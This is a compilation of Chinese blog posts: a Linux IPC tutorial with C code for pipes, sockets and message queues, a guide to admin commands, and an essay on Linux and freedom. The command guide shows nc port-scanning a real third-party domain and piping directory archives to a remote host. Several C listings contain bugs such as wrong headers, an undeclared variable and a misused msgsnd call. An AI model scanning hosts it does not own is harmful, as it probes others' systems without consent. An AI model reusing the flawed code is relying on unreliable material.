shmctl:该函数通过对于一些参数的指定来对共享内存区域进行一系列的控制，对于共享内存区域，设有一个计时器，当到达一定时间之后，如果没有进程和其绑定，该内存将会被回收。也可以不用手动对其回收。



下面运行下这两个程序

当我们再次运行client2后

因为我们的连个进程都已经和该共享内存区域解绑，而且也执行了移除，如果我们不对其移除。则会


管道通信（匿名，有名）

管道通信，在一个进程之中，只能单一的对其写或者是读，而不可以及执行写操作又执行读操作。这一点，我们可以将其想象成我们的水管，分别连着不同的两端，在有水流的时候，一端只能进行输入，另一端只能进行输出，而不可以同时输入和输出。

管道又分为有名管道和匿名管道，两者的区别在于对于匿名管道，其只能在具有亲缘关系的父子进程之间进行消息通信。管道的通信是借助于在我们的磁盘上生成一个文件，然后对文件的读写来实现我们的通信，而且数据被读之后，在文件中将会被删除掉。

匿名

匿名管道的实现较为简单，实现代码:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define BUFFER_SIZE 9

int main()
{
        int n;
        int fd[2];
        pid_t pid;
        char buf[BUFFER_SIZE];
        if(pipe(fd)==-1)
        {
                printf("error in create pipe\n");
                exit(1);
        }
        if((pid=fork())<0)
        {
                printf("error in fork a sub process\n");
                exit(1);
        }
        if(pid>0)
        {
                close(fd[0]);
                write(fd[1],"Welcome!",10);
        }
        else
        {
                close(fd[1]);
                read(fd[0],buf,9);
                printf("%s,son\n",buf);
        }
        return 0;
}

1.创建管道2.通过fork函数分叉出子进程3.写数据4.读数据5.关闭管道读端和写端。这里也除了管道函数，还要特别说一下的是fork函数。

fork函数返回的数据在父进程中是子进程pid，而对子进程返回的是0，这并不是说，子进程的pid就是零，还有一个函数是getpid（），执行这个函数后，在子进程和父进程中得到的都是该进程pid，而不是fork函数的返回值。fork函数执行的时候，是将父进程中全部的数据置入自己进程之中，和父进程中的数据不是同步的了。

通过pipe函数我们创建了一个管道，管道接收的参数是一个长度为2的一维数组，此时，此时在0位返回的是读端口，1位返回的是写端口，当我们要对数据进行写入的时候，我们需要关闭其读端口，如果对其进行读操作，我们要关闭写端口。类似于读文件的操作，制定数据和大小，然后通过read和write函数对其进行读写。

后来又发现的一些问题是对于读写端口的问题，当我们在写的时候，读端口开着对其并没有影响，其目的是以防万一，写入数据被自身读取走了。还有此处实现方式是通过建立一个管道文件，然后采用了常规的文件读写方式进行的读写，还会出现的一些是，当我们read完一次之后，如果下面接着再read，将会出现一个问题，我们还能够从中读出数据来，原因是管道文件本身具有一个自身管理的，来负责对于管道文件的擦除，而其擦除速度较慢于我们从中读出的速度，所以导致了这个问题。



有名

通过对于匿名管道的分析，再到有名管道，为什么有名管道可以被非亲缘进程找到利用？因为它有名呀，对的，如果在家中，父亲要和儿子谈话，只需说出来就好了，因为信道上的接听者只有父亲和儿子，所以即使不指儿子的名字和儿子说，儿子也是知道是在和他讲，但是如果要和别人讲话，而且由很多人同时在侦听信道的时候，如果我们不指定名字，他们就不会知道我们是在跟谁讲话。所以对于有名管道，我们首先要对其指定一个名字，然后指定作为写端或者是读端，然后对其进行操作。

#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <limits.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <stdio.h>
#include <string.h>

#define FIFO_NAME "/oswork/pipe/myfifo"

int main()
{
        int res;
        int pipe_id;
        char buffer[] = "Hello world";
        if(access(FIFO_NAME,F_OK)==-1)
        {
                res = mkfifo(FIFO_NAME,O_WRONLY);
        if(res!=0)
                {
                        printf("Error in creating fifo.\n");
                        exit(1);
                }
        }
        pipe_id = open(FIFO_NAME,O_WRONLY);
        if(pipe_id!= -1)
        {
                if(write(pipe_id,buffer,PIPE_BUF)>0){
                        close(pipe_id);
                }else{
                        printf("Error in writing.\n");
                        exit(1);
                }
        }else
        {
                printf("Error in opening.\n");
                exit(1);
        }

因为管道是通过本地磁盘上的文件进行信息的交换，因此我们需要给予其本地磁盘上的一个文件目录，然后根据该目录通过access（）函数来获取该管道，如果获取失败，那么我们就按照给定的目录创建一个，创建管道的时候，我们需要制定是对其进行读还是写，创建好之后，通过指定模式打开我们的管道，此时会得到一个管道号，然后根据获得管道标志号，作为参数，进行read和write操作。下面是读端的执行代码。

#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <limits.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <stdio.h>
#include <string.h>

#define FIFONAME "/oswork/pipe/myfifo"
int main()
{
        char buffer[PIPE_BUF+1];
        int pipe_id;
        pipe_id = open(FIFONAME,O_RDONLY);
        if(pipe_id != -1)
        {
                read(pipe_id,buffer,PIPE_BUF);
                printf("%s",buffer);
        }else{
                printf("error in reading\n");
        }
}

执行结果,在这里的读和写都是设置为堵塞执行方式，就是如果没读端，这个时候，写端就是处于堵塞状态

这个时候再执行读端

写端堵塞解除


Socket通信

Socket通信，不仅仅是一台主机上的两个进程可以进行通信，还可以让处在因特网中的两个进程进行通信。在两个进程进行通信的时候，首先本地的进程在运行的时候会绑定一个端口，然后我们本地为该进程生成一个缓冲区，返回一个值，即为socket作为对其进行标记，每当本地进程和远程一个进程建立连接的时候，就会根据远程进程的信息和本地进程的信息生成一个socket，然后双方借助于socket就可以进行通信，运输层得到的数据写入socket标志的缓冲区，然后在里面进行相应的操作之后将其提交给网络层。相比其它的几种处理方式，该中方式比较麻烦。多于服务端，通过listen阻塞监听，监听到有连接请求，通过accept函数得到一个本地与之对应的缓冲区，然后创建一个进程用来和该连接进行交互，然后通过receive来接收信息，由于c语言大一学过去之后，基本没怎么再看过，所以写来的时候还是遇到了几个小坑。这里实现的是当连接建立后，服务端给本地端发送一个连接建立提示，然后客户端可以向服务端发送消息，服务端给予一个I don't know的回复。

服务端代码

#include <sys/type.h>
#include <sys/socket.h>
#include <stdio.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/shm.h>

#define PORT 9000
#define KEY 123
#define SIZE 1024


int main()
{
    char buf[100];
    memset(buf,0,100);
    int server_sockfd,client_sockfd;
    socklen_t server_len,client_len;
    struct  sockaddr_in server_sockaddr,client_sockaddr;
    /*create a socket.type is AF_INET,sock_stream*/
    server_sockfd = socket(AF_INET,SOCK_STREAM,0);
    /*the address of the sockt which is a struct include sinfamily,sin_port and sin_addr(struct)
    htons is a convert function,*/
    server_sockaddr.sin_family = AF_INET;
    server_sockaddr.sin_port = htons(PORT);
    server_sockaddr.sin_addr.s_addr = htonl(INADDR_ANY);
    /*the length of the sever_sockt address*/
    server_len = sizeof(server_sockaddr);
    /*
    first option is socket we create,the second option is level the left is 
    the paraments'length and value
    */
    int on;
    setsockopt(server_sockfd,SOL_SOCKET,SO_REUSEADDR,&on,sizeof(on));
    /*bind a socket or rename a sockt*/
    if(bind(server_sockfd,(struct sockaddr*)&server_sockaddr,server_len)==-1){
        printf("bind error");
        exit(1);
    }
    /*listen the socket,the second option is 5 which is the limit number of kernal handle*/
    if(listen(server_sockfd,5)==-1){
        printf("listen error");
        exit(1);
    }

    client_len = sizeof(client_sockaddr);
    /*define a pid number*/
    pid_t ppid,pid;
    while(1){
        if(client_sockfd=accept(server_sockfd,(struct sockaddr*)&client_sockaddr,&client_len)==-1){
            printf("connect error");
            exit(1);
        }
        else{
            //send and receiv all include a socket , content and the len. 
            send(client_sockfd,"You have conected the server",strlen("You have connected the server"),0);
        }
        ppid = fork();
        if(ppid == -1) { 
             printf("fork 1 failed:"); 
         } 
         /*the subthread is used to receiver the message from client Create a process again when 
         we create father process success*/
         else if(ppid == 0){ 
             int recvbytes; 
              pid = fork(); 
          if(pid == -1){
              printf("fork 2 failed:"); 
              exit(1);
          } 
          else if(pid == 0) {
              while(1){ 
                  //set the 100 byte of the buf to 0
                  bzero(buf,100); 
                  if((recvbytes = recv(client_sockfd,buf,100,0))==-1) { 
                      perror("read client_sockfd failed:");
                  } 
                  //if the subProcess receive the message successfully
                  else if(recvbytes != 0){
                      buf[recvbytes] = '\0'; 
                      usleep(1000); 
                      printf("%s:%d said:%s\n",inet_ntoa(client_sockaddr.sin_addr), ntohs(client_sockaddr.sin_port), buf); 
                      //send same message to the client. 
                      if(send(client_sockfd,buf,recvbytes,0)==-1){ 
                          perror("send error"); 
                          break;
                      } 
                  }
                  //when send the msg successfuly end up the method 
                  } 
              } 
              else if(pid>0) {

              }
          } else if(ppid>0){ //总父进程中关闭client_sockfd(因为有另一个副本在子进程中运行了)返回等待接收消息 
                  close(client_sockfd); 
              } 
          } 
        return 0;
    }


}

其中涉及到创建进程与结束进程等还是比较复杂的。下面通过一个流程图说明其工作原理

对于其中的一些函数，有自己的英文注释，想锻炼下英文表达能力，但是表达在语法和意思上还是有些错误的。
客户端工作代码

#include <stdio.h> 
#include <stdlib.h> 
#include <errno.h> 
#include <string.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h> 
#include <sys/wait.h> 
#include <unistd.h> 
#include <arpa/inet.h> 

#define SERVER_PORT 9000
/* the port of the sever which will connected*/ 
#define MAXDATASIZE 100 /* the maxmum bytes every send*/ 
#define SERVER_IP "114.215.100.147" 
/* the ip address of the server*/ 

/*First we need to create a socket and then initialize the socket,then we invoke the connect,it will build a connection between client 
and server we designate*/
int main() { 
    int sockfd, numbytes; 
    char buf[MAXDATASIZE]; 
    struct sockaddr_in server_addr; 
    printf("\n======================client initialization======================\n"); 
    if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) { 
        perror("socket"); 
        exit(1); 
    }
    server_addr.sin_family = AF_INET; 
    server_addr.sin_port = htons(SERVER_PORT); 
    server_addr.sin_addr.s_addr = inet_addr(SERVER_IP); 
    bzero(&(server_addr.sin_zero),sizeof(server_addr.sin_zero)); 
    if (connect(sockfd, (struct sockaddr *)&server_addr,sizeof(struct sockaddr_in)) == -1){
         perror("connect error"); 
         exit(1);
     } 
     //waitting for receive msg from the server,the receiver method is a block method,when the server break up
     //the connection ,is will close the socket.
     while(1) { 
         bzero(buf,MAXDATASIZE); 
         printf("\nBegin receive...\n"); 
         if ((numbytes=recv(sockfd, buf, MAXDATASIZE, 0)) == -1){  
             perror("recv"); 
             exit(1);
         } 
         else if (numbytes > 0){ 
             int len, bytes_sent;
             buf[numbytes] = '\0'; 
            printf("Received: %s\n",buf);
            printf("Send:"); 
            char msgb[100];
            scanf("%s",msg);
            len = strlen(msg); 
            //sent to the server
            if(send(sockfd,msg,len,0) == -1){ 
                perror("send error"); 
            }
        } 
        else { 
            printf("soket end!\n"); 
        } 
        }  
        close(sockfd); 
        return 0;
    }

相比于服务器端，客户端的代码比较简单了，发起连接请求-->连接成功进入轮询-->接受消息————>发送消息。
执行结果




消息队列通信

消息队列和有名管道有些类似的地方，最大相同点在于它可以用于在不同的进程之间进行通信，但是管道有一个劣势是，对于接收端其对与管道内的数据只能是接受，而不可以对其进行过滤选择，同时在写和读的时候还会出现堵塞.对于消息队列其在接收的时候也是会发生堵塞的，解除阻塞，只有当其接收到合适的消息或者该队列被删除了，这个阻塞才会解除。对于消息队列的通信流程是创建消息-》获得队列--》向队列中发送消息--》从队列中取出消息。

实现代码

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/stat.h>
#include <sys/msg.h>
#define MSG_FILE "/oswork/message/sender.c"
#define BUFFER 255
#define PERM S_IRUSR|S_IWUSR
//message struct
struct msgbuf
{
    long mtype;
    char mtext[BUFFER+1];
};
int main()
{
    struct msgbuf msg;
    key_t key;
    int msgid;
    int i;
    char *myask="I'm receiver, 3 messages received from you.";
    //create a key for
    if((key=ftok(MSG_FILE,66))==-1)
    {
        fprintf(stderr,"Creat Key Error：%s \n",strerror(errno));
        exit(EXIT_FAILURE);
    }
    //get a message queue
    if((msgid=msgget(key,PERM|IPC_CREAT))==-1)
    {
        fprintf(stderr,"Creat MessageQueue Error：%s \n",strerror(errno));
        exit(EXIT_FAILURE);
    }
    //get a message from the queue everytime
    for(i=0; i<3; i++)
    {
        msgrcv(msgid,&msg,sizeof(struct msgbuf),1,0);
        printf("Receiver receive: %s\n",msg.mtext);
    }
    msg.mtype=2;
    //send the message that I have received the message.
    strncpy(msg.mtext,myask,BUFFER);
    msgsnd(msgid,&msg,sizeof(struct msgbuf),0);
    return 1;
}


the code of sender

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys.stat.h>

#define MSG_FILE "/oswork/message/sender.c"
#define BUFFER_SIZE 255
#define PERM S_IRUSR|S_IWUSR

struct msgbuf
{
    long mtype;
    char mtext[BUFFER_SIZE+1];
};
//create three messages
char *message[3]={"I'm sender,there are some message for you.","Message1",
"Message2"};

int main()
{
    struct  msgbuf msg;
    key_t key;
    int msgid;
    if((key=ftok(MSG_FILE,66))==-1)
    {
        printf("error in creating key\n");
        exit(0);
    }
    if((msgid=msgget(key,PERM|IPC_CREAT))==-1)
    {
        printf("error in creating get message\n");
        exit(0);
    }
//set the type of the message
    msg.mtype=1;
    int i;
//send the message
    for(i=0; i<3; i++)
    {
        strncpy(msg.mtext,message[i],BUFFER_SIZE);
        msgsnd(msgid,&msg,sizeof(struct msgbuf),2,0);
    }
    memset(&msg,'\0',sizeof(struct msgbuf));
/*receive the message,the third arguments show the type of message will be received
*/
    msgrcv(msgid,&msg,sizeof(struct msgbuf),2,0);
    printf("%s\n",msg.mtext);
//delete the message queue.
    if(msgctl(msgid,IPC_RMID,0)==-1)
    {
        printf("error in deleting msg queue\n");
        exit(0);
    }
    return 1;
}

对于消息通信，其中的几个函数，这里在说明一下，msgrcv和msgsnd两个函数，对于其中的参数，第一个指定的是我们的消息队列的标示符，然后第二个是消息区域，然后是我们的消息长度，然后是消息类型，最后一个是用来指定是否堵塞。消息队列中的消息只要是被读出的，就会自动的被从队列中剔除掉。

上述为Linux下进程间通信的四种方式，实际开发中，我们传输数据类型和进程间的关系选择合适的方式。

前段时间在牛客网上将《剑指offer》书中算法题用Java实现了一遍，放在了Github上，欢迎一起交流，提升。https://github.com/Jensenczx/offer




 实用linux命令(一)

作者：管宜尧

来源： 实用linux命令(一)



                    
top命令


监控系统的运行状态，并且可以按照cpu、内存、执行时间进行排序。





第一行中，03:30:22是当前时间，up 39 min是系统运行的运行了多长时间，1 user指出了当前有几个用户登录到系统，load average指的是系统负载，这后面的三个值分别是1分钟，5分钟，15分钟的系统负载平均值。



  如果仅仅需要第一行中的信息，可以使用uptime命令。




第二行中，Task指出了当前系统有多少个进程，以及各种状态的进程统计信息。


第三行是%Cpu(s)，代表了CPU占用比例，其中：



	
us 用户模式(user mode)

	
sy 系统模式(system mode)

	
ni 优先值(low priority user mode(nice))

	
id 空闲CPU百分比(idle task)

	
wa 等待输入输出的CPU事件百分比(I/O waiting)

	
hi servicing IRQs

	
si servicing soft IRQs

	
st steal (time given to other DomU instances)




  ni是优先值(nice value)，也就是任务的优先值。优先值为负数，则说明任务有更高的优先级，正数值说明任务有更低的优先级，该值为0意味着进程都优先级没有调整。




最后两行为内存信息，前者Mem为物理内存占用信息，后者Swap为交换分区占用信息。



  使用-M参数可以更加友好的显示内存占用信息。默认是以kb展示的，看起来比较费劲，使用-M之后会根据数值大小，以G/M为单位展示。




最下面是进程的信息区域：



	
PID 进程的PID

	
USER 用户名，任务属主

	
PR 任务的优先级

	
NI 优先值

	
VIRT 虚拟映像（kb），任务当前使用的虚拟内存数量

	
RES 常驻物理内存占用量，RES=CODE+DATA

	
SHR 共享内存大小（kb）

	
S 进程状态（D-不可中断的睡眠，R-运行，S-睡眠，T-停止，Z-僵尸进程）

	
%CPU CPU使用量

	
%MEM 内存使用量

	
TIME+ CPU时间，百分之一

	
COMMAND 程序名称




  参考linux top命令详解




pgrep/pkill 命令


根据名称或者其它属性查询（发送信号）进程信息。


pgrep命令根据提供的条件查询进程的pid，查询条件是and方式的，对于同一个选项，使用『,』分隔可以按照or方式查询。


pgrep -u root sshd   # 查询进程名为sshd，并且属主是root的进程
pgrep -u root,daemon # 查询属主是root或者daemon的进程



pkill 使用与pgrep类似，不过它不是用来查询进程pid，而是给进程发送信号，默认会发送 SIGTERM信号。


例如:


$ pgrep -u root named # 查找named进程的pid
$ pkill -HUP syslogd  # 告诉syslogd重新读取配置文件




  要查看有哪些信号可用，可以使用kill -l列出所有的信号以及其数值。




except命令



	
send 发送一个字符串给进程。

	
expect 等待来自进程返回的字符串。

	
spawn 开始一个命令。



实现控制台SSH直接登陆Linux服务器


#!/usr/bin/expect

set timeout 20

set ip "IP地址"
set user "用户名"
set password "密码"

spawn ssh "$user\@$ip"

expect "$user@$ip's password:"
send "$password\r"

interact




  参考 6 Expect Script Examples to Expect the Unexpected (With Hello World)





pstack命令


pstack是一个shell脚本，用于打印正在运行的进程的栈跟踪信息，它实际上是gstack的一个链接。


该命令只需要提供一个参数，进程的pid即可。


$ sudo pstack $(pgrep -uroot php-fpm)
[sudo] password for guanyy:
#0  0x000000380d8e86f3 in __epoll_wait_nocancel () from /lib64/libc.so.6
#1  0x00000000007ec4a4 in fpm_event_epoll_wait ()
#2  0x00000000007e1517 in fpm_event_loop ()
#3  0x00000000007dc887 in fpm_run ()
#4  0x00000000007e3bd8 in main ()




  pstack是gdb的一部分，如果系统没有pstack命令，使用yum搜索安装gdb即可。




strace命令


strace命令用于跟踪系统调用和信号。主要用于诊断，调试程序，使用该命令能够打印出进程执行的系统调用信息。



  在 Mac 下使用dtruss命令代替




找出应用程序启动时读取的配置文件


$ strace php 2>&1 | grep php.ini
open("/usr/local/bin/php.ini", O_RDONLY) = -1 ENOENT (No such file or directory)
open("/usr/local/lib/php.ini", O_RDONLY) = 4
lstat64("/usr/local/lib/php.ini", {st_mode=S_IFLNK|0777, st_size=27, ...}) = 0
readlink("/usr/local/lib/php.ini", "/usr/local/Zend/etc/php.ini", 4096) = 27
lstat64("/usr/local/Zend/etc/php.ini", {st_mode=S_IFREG|0664, st_size=40971, ...}) = 0




  这里的2>&1 是将标准错误输出重定向到标准输出。




查找为什么程序没有打开指定文件


$ strace -e open,access 2>&1 |grep your-filename



-e参数指定了一个限定表达式用于指定要跟踪的事件和如何跟踪它们。


[qualifier=][!]value1[,value2]...



这里的qualifier可选值为: trace, abbrev, verbose, raw, signal, read, write。默认的qualifier是trace。


查看进程正在执行什么操作


root@dev:~# strace -p 15427
Process 15427 attached - interrupt to quit
futex(0x402f4900, FUTEX_WAIT, 2, NULL
Process 15427 detached



-p指定了strace跟踪的进程的pid，这样就避免了每次执行strace时需要重启程序。


查看进程的哪些操作比较耗时


root@dev:~# strace -c -p 11084
Process 11084 attached - interrupt to quit
Process 11084 detached
% time     seconds  usecs/call     calls    errors syscall
------ ----------- ----------- --------- --------- ----------------
 94.59    0.001014          48        21           select
  2.89    0.000031           1        21           getppid
  2.52    0.000027           1        21           time
------ ----------- ----------- --------- --------- ----------------
100.00    0.001072                    63           total



-c参数用于统计进程做了哪些系统调用，调用的时间统计等，并对这些信息做一个汇总显示。


查看为什么xxx无法连接到服务器


$ strace -e poll,select,connect,recvfrom,sendto nc www.news.com 80
sendto(3, "\\24\\0\\0\\0\\26\\0\\1\\3\\255\\373NH\\0\\0\\0\\0\\0\\0\\0\\0", 20, 0, {sa_family=AF_NETLINK, pid=0, groups=00000000}, 12) = 20
connect(3, {sa_family=AF_FILE, path="/var/run/nscd/socket"}, 110) = -1 ENOENT (No such file or directory)
connect(3, {sa_family=AF_FILE, path="/var/run/nscd/socket"}, 110) = -1 ENOENT (No such file or directory)
...




  参考5 simple ways to troubleshoot using Strace




nc命令


该命令用于创建任意的TCP/UDP连接或者是监听连接。


建立一个基本的C/S模型(文件远程复制)


在Server1上，使用nc命令创建一个服务端：


server1 $ nc -l 1234



在Server2上，使用nc作为客户端连接到server1


server2 $ nc server1的IP地址 1234



这样就建立起一个简单的C/S连接，在server2中输入任何内容，在server1都可以接受到（同步显示）。


上面的例子可以改造实现文件远程发送


server1 $ nc -l 1234 > filename.out



在server2上


server2 $ nc server1的IP地址 1234 < filename.in




  -l 指定了nc应该作为server端监听指定的端口




模拟HTTP请求


# echo -n "GET / HTTP/1.0\r\n\r\n" | nc php.net 80
HTTP/1.1 400 Bad Request
Server: nginx/1.6.2
Date: Tue, 16 Dec 2014 08:09:35 GMT
Content-Type: text/html
Content-Length: 172
Connection: close

<html>
<head><title>400 Bad Request</title></head>
<body bgcolor="white">
<center><h1>400 Bad Request</h1></center>
<hr><center>nginx/1.6.2</center>
</body>
</html>



端口扫描


端口扫描的作用还是比较大的，使用nc可以方便的进行端口扫描。


# nc -z letv.com 1-100
Connection to letv.com 22 port [tcp/ssh] succeeded!
Connection to letv.com 80 port [tcp/http] succeeded!



这里的1-100指定了扫描的端口范围，-z参数告诉nc命令只报告开放的端口。



  默认nc命令发送的是tcp请求，通过指定参数-u可以发送udp请求。




目录传输


下面例子中，将server2的phpredis-master目录拷贝到server1。


server1:


# nc -l 1234|tar zxvf -



server2:


# tar zcvf - phpredis-master|nc server1的IP地址 1234




  参考Linux nc命令详解




pstree命令


该命令用于显示进程树，以树的形式显示正在运行的进程，树的根节点是指定的pid（忽略则为init进程）。


[root@cdn ~]# pstree -p $(pgrep -uroot php-fpm)
php-fpm(5445)─┬─php-fpm(5446)
              ├─php-fpm(5447)
              ├─php-fpm(5448)
              ├─php-fpm(7540)
              ├─php-fpm(21639)
              └─php-fpm(24727)



ss命令


ss命令用于显示socket的统计信息。


显示socket的汇总信息


-s选项用于显示汇总信息。


# ss -s
Total: 247 (kernel 290)
TCP:   214 (estab 68, closed 130, orphaned 0, synrecv 0, timewait 130/0), ports 135

Transport Total     IP        IPv6
*     290       -         -
RAW   0         0         0
UDP   11        7         4
TCP   84        81        3
INET      95        88        7
FRAG      0         0         0



查看所有打开的网络端口


-l选项用于列出当前正在监听的socket。


# ss -l
State      Recv-Q Send-Q      Local Address:Port          Peer Address:Port
LISTEN     0      128             127.0.0.1:smux                     *:*
LISTEN     0      128             127.0.0.1:9000                     *:*
LISTEN     0      50                      *:3306                     *:*
LISTEN     0      1024                   :::11211                   :::*



使用ss -pl可以查看使用网络端口的进程名称，这里的-p选项用于显示进程信息。


# ss -pl
State      Recv-Q Send-Q      Local Address:Port          Peer Address:Port
LISTEN     0      128             127.0.0.1:smux                     *:*        users:(("snmpd",1256,8))
LISTEN     0      50                      *:3306                     *:*        users:(("mysqld",17651,10))
LISTEN     0      1024                   :::11211                   :::*        users:(("memcached",1849,34))
LISTEN     0      1024                    *:11211                    *:*        users:(("memcached",1849,33))
LISTEN     0      511             127.0.0.1:6379                     *:*        users:(("redis-server",1403,4))




  使用ss -pl|grep 端口号查看端口被那个进程占用。




显示所有的TCP/UDP Socket


参数-a(--all)用于显示所有的socket，-t指的是TCP， -u是UDP, -w是RAW, -x是UNIX。


# ss -t -a
# ss -u -a
# ss -w -a
# ss -x -a




  参考ss: Display Linux TCP / UDP Network and Socket Information





w/who命令


w命令用于查看当前哪些用户登录到系统和他们正在做什么，who命令仅用于查看哪些用户登录系统。


# w
 15:39:08 up 126 days, 22:35,  3 users,  load average: 0.02, 0.05, 0.02
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
root     pts/0    10.58.92.228     13:29    1:35m  0.03s  0.03s -bash
root     pts/1    10.58.93.56      10:32    5:06m  0.00s  0.00s -bash
root     pts/4    10.58.88.20      12:29    0.00s  0.20s  0.00s w
# who
root     pts/0        2014-12-18 13:29 (10.58.92.228)
root     pts/1        2014-12-18 10:32 (10.58.93.56)
root     pts/4        2014-12-18 12:29 (10.58.88.20)



iostat


报告CPU的统计信息，设备、分区、网络文件系统（NFS）的I/O统计信息。


# iostat
Linux 2.6.32-903.279.9.1.el6.x86_64 (localhost)     2014年12月18日 _x86_64_    (2 CPU)

avg-cpu:  %user   %nice %system %iowait  %steal   %idle
           0.35    0.00    0.34    0.42    0.15   98.74

Device:            tps   Blk_read/s   Blk_wrtn/s   Blk_read   Blk_wrtn
vda               4.01         0.35        56.76    3866731  622586087
dm-0              3.29         0.09        26.33     989378  288796192
dm-1              3.45         0.05        27.60     554922  302727584
dm-2              0.32         0.21         2.83    2296845   31060799



这里对几个性能指标进行解释：



	
tps 每秒发送的I/O请求数

	
Blk_read/s 每秒读取的block数

	
Blk_wrtn/s 每秒写入的block数

	
Blk_read 读取的block数

	
Blk_wrtn 写入的block数




  通过指定-d参数可以设定自动按照指定时间间隔显示统计信息。例如，下列命令每隔2s显示一次。




$ iostat -d 2



iptraf 命令：实时网络统计


交互式的IP网络实时监控工具，图形化界面，比较方便。


# iptraf



界面如下:




  参考20 Linux System Monitoring Tools Every SysAdmin Should Know




 虽然挖坑不埋但依然忍不住要为 Linux 回答一个问题

作者：garfileo

来源： 虽然挖坑不埋但依然忍不住要为 Linux 回答一个问题



                    
前些天发的一篇文章『Linux 挖坑不埋指南——甲篇』在这里被编辑推荐到了首页，引来一些关注并且被多处转载，这是我始料未及的。

有人读完此文，提出了这么一个问题：『对于一个软件来说，它的价值在于能为用户干什么。一般用户为什么会用 Linux 呢？这些用 Linux 的用户会干什么呢？希望写教程的人能够清楚。』

『Linux 挖坑不埋指南』本来是写给实验室里新来的同学看的，因为他们的工作环境是 Linux。我不希望他们面对这样一个他们以前从未用过甚至未曾听说过的操作系统而心生畏惧或误入『歧途』，所以想写几篇文章开导他们一下。也就是说，我在写这个指南的时候已经假定了受众是那些准备使用 Linux 的人，而非对 Linux 有些好奇但并不打算使用它的人，所以才会导致有人提出上面的那个问题。

这个问题也许是听说过 Linux 但从未用过 Linux 的人都想问的问题。这意味着也极有可能是我所在的实验室新来的同学都想问的问题，因为他们往往刚刚从机械工程专业毕业，他们所掌握的计算机知识也许只是 Windows、MS Office、UGNX 之类的应用软件。当他们来到实验室之后被『强迫』使用 Linux，他们应该也会问为什么不用 Windows？因此，于公于私，这个问题我都无法避免。

Linux 可以让『一般用户』更能理解与尊重『自由』

『甲篇』原本发布于简书。额外的说一句，此文在简书上发了之后，可能除了实验室里的几个同学之外，它并没有读者，以至于我以为全天下人对 Linux 再无好奇之心了。后来我想在简书上建一个 Linux 专栏与 TeX 专栏，于是就新注册了一个帐号，然后发现这个新注册的帐号必须与自己的手机号码进行绑定，否则无法发表文章。

我给简书的工作人员发了一封信件，说我的手机号一般只告诉我的亲朋好友以及工作上有交集的人，不会透露给任何陌生人。简书以『建议用户绑定手机号』为名但以强制用户绑定手机号为实的方式来获取用户手机号，这是错误的做法。

简书的 CTO 是个非常负责的人，这一点我很欣赏，他回信说：非常抱歉必须绑定手机，但是请您放心，您的手机号绝不会被透露给第三方或是滥用。另外，手机版发文章可以不需要绑定手机，您可以试试看我们的 App。

于是我就放弃了简书，来到了这里。因为在这里，我拥有的自由要比在简书更多一些，至少目前是这样。

简书上的其他用户，包括那些经常在文章里追求自由憎恨枷锁的文艺青年们并不觉得自己的简书帐号与手机号的绑定是个多大的事，他们依然爱着简书。

Linux 为我提供的价值之一，就是对自由的一些认识。如果你使用一个软件，它给你带来一些对人生的思考，这也许比这个软件为你解决的问题更有价值。就像你很喜欢的那些影片，它们也是『软件』，是由剧本作者与导演编制的程序，你可曾想过这些影片能给你干什么？影片什么都不能干，但是它们却能非常好的在你的大脑中运行一遍又一遍，以至于在你的思想机器上产生各种各样的输出。

只是在你的思想上产生输出，这当然不是 Linux 的主要价值。因为在这方面，它甚至还不如『黑客帝国』。那下面来谈谈它让为这个现实的世界输出了什么，但是说来话长，请忍耐我的絮絮叨叨。

在枷锁中畸形的生长

2005 年，我们在 Windows 里做 UG（现在叫 UGNX，很有名的机械产品三维设计软件）的二次开发，给它增加一个具有逆向工程功能的模块。当时，我们想在 UG 中实现一个交互操作，用鼠标在屏幕上交互构件一组垂直于屏幕的平面去截取点云数据。这个操作需要一个最基本的功能，就是我们用鼠标点击一下屏幕，就生成一条垂直于屏幕的直线。当时，UG 没有提供相应的 API（现在有没有提供就不知道了）。

为了解决这个问题，我用了 WIN32 的 HOOK 机制捕捉鼠标在 UG 主窗口中的二维坐标，然后用 OpenGL 的 gluUnProject 函数将这个二维坐标转换为垂直与屏幕的直线与三维视景体前、后面的交点。这个功能的实现，对于当时从机械设计与制造专业毕业不久的我来说，是个莫大的挑战。即使现在来看，这也是个充满了奇技淫巧的诡异的二次开发工作。折腾了差不多有一个月，失败了很多次，最后终于成功了。当时我还是挺享受这个成功的，但同时也想到，如果我能看到 UG 的源码，也许就不需要我这样拐弯抹角的 hack 了，而且即使成功了，我依然担心 WIN32 的 HOOK + OpenGL 的 gluUnProject 函数之所以生效只是因为『碰巧它们能工作』。2005 年底，我们那个课题通过验收之后，我就开始摆弄 Linux，不想继续在 Windows 里做 CAD 的二次开发工作。

现实中的各种枷锁让你不得不选择一些奇技淫巧，而这些奇技淫巧也一直被很多业内人士认为是『高级技术』。我们生活在 GFW 的封锁中，翻墙技术也就成了某种奇技淫巧。我们生活在一个以考试成绩评价个人价值的环境里，所以就有了应对考试的各种技巧，就连程序猿去找工作，也有面试宝典什么的。我们生活在一个非常崇尚成功的社会里，也就有了乱七八糟的成功学……我们的智慧本来可以用来做更多更有价值的事，但是更多的时候我们努力将智慧用于让自己去适应枷锁。

很少有人敢于质疑这个世界是不是错了，因为这样似乎没有意义。一个人怎能与整个世界去抗衡？既然无法让这个世界变得正确，那么就干脆和它一起错下去，这样就再也感受不到这个世界的错误了。于是，有的人是装糊涂，而更多的人是真的糊涂。在这种情况下，有多少人真的能够明白自己所干的事情？先明白自己要干的事情，然后才能去判断工具的价值。如果你做的事情根本不需要自由，不需要直截了当、不需要源代码，不需要开放，不需要好玩……那么，Linux 对你而言可能的确是一点价值都没有的东西。

